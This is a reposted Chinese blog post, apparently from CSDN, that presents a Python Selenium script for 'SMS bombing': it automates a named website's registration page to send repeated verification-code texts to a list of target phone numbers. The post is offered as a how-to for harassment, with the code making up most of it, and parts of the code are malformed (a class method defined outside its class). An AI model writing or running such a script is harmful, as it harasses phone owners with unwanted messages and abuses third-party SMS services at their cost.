当前位置: 移动技术网 > IT编程>脚本编程>Python > python实现简单的短信验证码轰炸

python实现简单的短信验证码轰炸

2020年07月14日  | 移动技术网IT编程  | 我要评论

基本原理:

利用某些限制不严格的网站短信注册接口,用Python模拟,传入被炸人手机号码,实现轰炸

有多种方式,可以模拟接口请求,也可通过模拟xml中元素定位模拟手工执行

本文通过第二种方式

 

环境要求:

python3.X 

需要安装谷歌插件 

需安装匹配版本的driver, 放于C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe"

 

入口函数

from threading import Thread
from hongzha import HongZha
hongzha = HongZha()
tongren=Thread(target=hongzha.tongren,args=("同人",))
tongren.start()
from selenium import webdriver
import time
import random
# 需要查看网页源代码定位到xml中具体填的是哪一个

class HongZha(object):
    def __init__(self):
        self.phone = ["155xxx","185xxx","133xxx","138xxx","156xxx" ] # 你要轰炸的电话号码
        self.num = 0

    def send_yzm(self, button, name):
        button.click()
        self.num += 1
        print("{}  第{}次  发送成功  {}".format(self.phone, self.num, name))
        time.sleep(1000)

       

def tongren(self,name):
    while True:
        driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
        driver.get("https://tn.gaywb.com/member.php?mod=register")
        tel = driver.find_element_by_xpath("//input[@id='mobile']")
        actual=random.choice(self.phone)
        tel.send_keys(actual)
        time.sleep(6)
        button = driver.find_element_by_xpath(
            "//div[@class='phoneSend_2']")
        button.click()
        time.sleep(600)
        self.send_yzm(button, name)
        driver.quit()
        print("---------"+actual)

         找到某个网站的注册页面,也就是driver.get需要填入的参数

         查看网站源代码 找到xml中 需要手机号的那个元素的定位 模拟点击 就可以实现验证码的发送了。

 

本文地址:https://blog.csdn.net/u013517801/article/details/107311973

如对本文有疑问, 点击进行留言回复!!

相关文章:

验证码:
移动技术网